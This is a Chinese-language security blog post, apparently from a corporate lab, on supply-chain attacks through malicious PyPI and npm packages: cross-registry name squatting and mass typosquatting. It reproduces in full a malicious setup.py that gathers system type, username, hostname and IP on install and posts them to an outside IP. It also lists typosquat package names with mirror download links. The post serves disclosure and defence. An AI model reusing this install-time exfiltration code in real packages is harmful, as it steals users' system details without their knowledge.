“同名异源”、“洪水攻击”新型供应链攻击方式

阅读量    58299 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

一、背景

开源对于软件的发展具有重大的意义,许多企业的业务中或多或少都引入了开源的第三方依赖,使企业可以更关注于业务的发展。但是在引入第三方依赖的同时,也不可避免地引入开源代码中的安全漏洞,这些安全漏洞往往能对业务造成致命的打击。随着越来越多的第三方依赖漏洞被披露,越来越多的企业也开始重视第三方依赖的安全性。

无恒实验室致力于为公司与全行业业务保驾护航,亦极为重视第三方依赖对业务安全的影响,在检测公司引入的第三方依赖安全性的同时,无恒实验室也着力于挖掘第三方依赖中未曾被披露的漏洞与安全隐患,并将持续与业界共享研究成果,协助企业业务避免遭受安全风险,亦望能与业内同行共同合作,为网络安全行业的发展做出贡献。

秉承共建安全生态的原则,无恒实验室瑶光Elkeid HIDS团队会定期公布已发现的恶意软件包具体信息,读者可以根据这些信息进行自查,保护自身信息资产安全。

说明:瑶光Elkeid HIDS是一个云原生的基于主机的安全(入侵检测与风险识别)解决方案。

 

二、新型攻击方式监控

自6月份以来,无恒实验室使用自研恶意软件包检测工具WolfHunter、瑶光Elkeid HIDS对开源软件包存储库进行检测时,发现PyPi官方源上新增534个恶意包,npm官方源上新增580个恶意包,这些包主要获取各种敏感信息、反弹shell、远程下载木马等。

2.1 “同名异源”攻击

从6月18日以来共发现恶意组件超过1000+,下载量超过1.8w+,平均每个恶意组件下载次数达到了18次,其中恶意包botframework-streaming下载量高达5422次,为所有发现恶意组件中下载量最大的。分析其原因猜测是因为麻省理工学院在NPM上发布了一个有关机器人的第三方SDK,名称是botframework-streaming,每周下载量达到1w+,共发布了265个版本,对应的github仓库为:https://github.com/Microsoft/botbuilder-js。2021年7月28日恶意攻击者发现该包名在PyPi上没有注册,因此进行了抢注,并将版本号设置成和当时botframework-streaming最新版本号一致为4.14.0。

恶意包botframework-streaming下载共涉及73个国家和地区,影响范围较广,主要受影响国家为美国

下载分布情况如下:

 

botframework-streaming这种“同名”但是属于不同语言不同源的包相信在未来会成为攻击者一个新的攻击点,因此大家在下载这种包的时候需要尤其注意,无恒实验室后续也会对这种攻击情况进行重点监控,并及时向大家同步相关恶意包。

2.2 “洪水”攻击

根据上文针对恶意包的下载情况可以看到每个恶意包的下载量是非常小的,因此攻击者会通过上传大量恶意包的方式来提高整体的下载量。同时与知名包有相似包名会对下载量有非常大的提升,因此攻击者上传的恶意包在命名上都会与一些知名包“撞名”。下文将对我们监控到的攻击案例进行具体的说明。

7月27日至7月30日无恒实验室检测到邮箱为nonexists@gmail.com的作者上传了354个恶意包,包名与知名包名的平均相似度为94%,部分包名信息及相似度信息如下所示:

这些恶意包在被安装过程中会执行setup.py文件中的恶意代码,收集敏感信息上报到175.24.100.2(上海市 腾讯云)。在这354个包中,存在大量包是模仿著名python第三方库,比如上文提到的14个恶意组件。经过统计这些包版本号都是1.0.0,控制端IP为175.24.100.2,恶意作者邮箱为nonexists@gmail.com。

部分恶意组件信息如下:

恶意包 版本号 控制端IP 下载地址
mysl-python 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/mysl-python/
mysql-pythno 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/mysql-pythno/
ullib3 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/ullib3/
opencv-pytho 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/opencv-pytho/
opencv-pyhon 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/opencv-pyhon/
pyinsatller 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/pyinsatller/
jijna2 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/jijna2/
gevnt 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/gevnt/
tesorflow-gpu 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/tesorflow-gpu/
tensorflow-gu 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/tensorflow-gu/
ensorflow-gpu 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/ensorflow-gpu/
qslalchemy 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/qslalchemy/
mysqlclint 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/mysqlclint/
reids 1.0.0 175.24.100.2 https://mirrors.tencent.com/pypi/simple/reids/
……..
……..

恶意组件的setup.py文件内容如下:

收集敏感信息有:系统类型、用户名、主机名、ip,同时并适配了python2和python3环境

! /usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import unicode_literals

import platform
import socket
import sys
import json
import getpass
import setuptools
from setuptools.command.install import install

# just collect basic info for research and learn
package_name = "mysl-python"
os_type = ""
username = ""
hostname = ""
ip = ""
try:
os_type = platform.system()
username = getpass.getuser()
hostname = platform.node()
ip = socket.gethostbyname(socket.gethostname())
except:
pass

if sys.version_info[0] == 3:
import urllib.request
from urllib.parse import urlencode

def python3POST(url, data={}):
"""
Returns the response of the POST request as string or
False if the resource could not be accessed.
"""

try:
data = json.dumps(data).encode()
request = urllib.request.Request(
url, data, headers={'content-type': 'application/json'})
reponse = urllib.request.urlopen(request, timeout=15)
except:
pass

POST = python3POST
# we are using Python2
else:
import urllib2
from urllib import urlencode

def python2POST(url, data={}):
"""
See python3POST
"""
req = urllib2.Request(url,
json.dumps(data),
headers={'content-type': 'application/json'})
try:
response = urllib2.urlopen(req, timeout=15)
except:
pass

POST = python2POST
data = {
"os": os_type,
"ip": ip,
"username": username,
"hostname": hostname,
"name": package_name
}
POST("http://175.24.100.2:8000/api/python/", data=data)


class AbortInstall(install):
def run(self):
raise SystemExit(
"[+] It looks like you try to install mysl-python without checking it.\n"
"[-] is that alright? \n"
"[*] Please uninstall this package \n"
"[*] Please uninstall this package \n"
"[*] Please uninstall this package \n"
"[/] Aborting installation.")


setuptools.setup(
name="mysl-python",
version="1.0.0",
url="http://pypi.org/",
author="jackson",
author_email="nonexists@gmail.com",
description="hdfuse is a tool for quick inspection of HDF5 files",
long_description=open('README.rst').read(),
packages=setuptools.find_packages(),
cmdclass={'install': AbortInstall},
install_requires=[],
classifiers=[
'Development Status :: 2 - Pre-Alpha',
'Programming Language :: Python',
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9',
],
)

2.3 近期攻击者监控

下面我们将近期监控到的上传了大量恶意包的攻击者罗列如下,针对这些攻击者的所有上传包后续会进行重点监控,以追踪攻击者攻击方式的变化。

经统计 Npm 恶意包上传量 top5为:

PYPI 恶意包上传量 top5为:

 

三、如何防御第三方恶意软件包

  1. 收敛内网源:企业内部应自建各种软件源(比如:PyPI、npm、Godoc),软件同步必须来自官方源。通过自建内部源可以收敛源头,一旦发生供应链攻击事件,可以快速从内部源上删除第三方恶意包,切断恶意包的传播。并且通过内部源的各种日志、打点可以得知有哪些服务使用了恶意包,从而可以快速溯源止损。
  2. 监控扫描:实时监控各个官方源,利用相似度算法计算有没有与内部私有包名相似或相同的包,当发现这类包时,使用代码分析、机器学习等方法确定该包是否存在恶意行为。从各种软件源同步包时,要进行实时扫描,扫描方式可以是静态扫描或动态沙箱扫描。

 

四、本期恶意组件包列表

本期共发现PYPI恶意组件534个,NPM恶意组件580个。

下面将截止到2021年8月3日发现的恶意软件包罗列在此,希望大家能够根据该列表对内部公司使用依赖库进行筛查,以避免公司内部使用了这些恶意软件包,给公司造成损失。部分恶意包已联系PYPI官方删除,想了解更多详情,可到其他源下载恶意包。

本期发现的恶意包下载共涉及80个国家和地区,分布情况如下:

本期恶意组件包列表下载地址:

https://bytedance.feishu.cn/sheets/shtcnrjF9EBKQ3phfR5Cq62U8ob

 

五、历史恶意组件包列表

历史恶意组件包列表下载地址:

https://bytedance.feishu.cn/sheets/shtcnMIXEYzkTkmruPS9NwMl3ie?

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多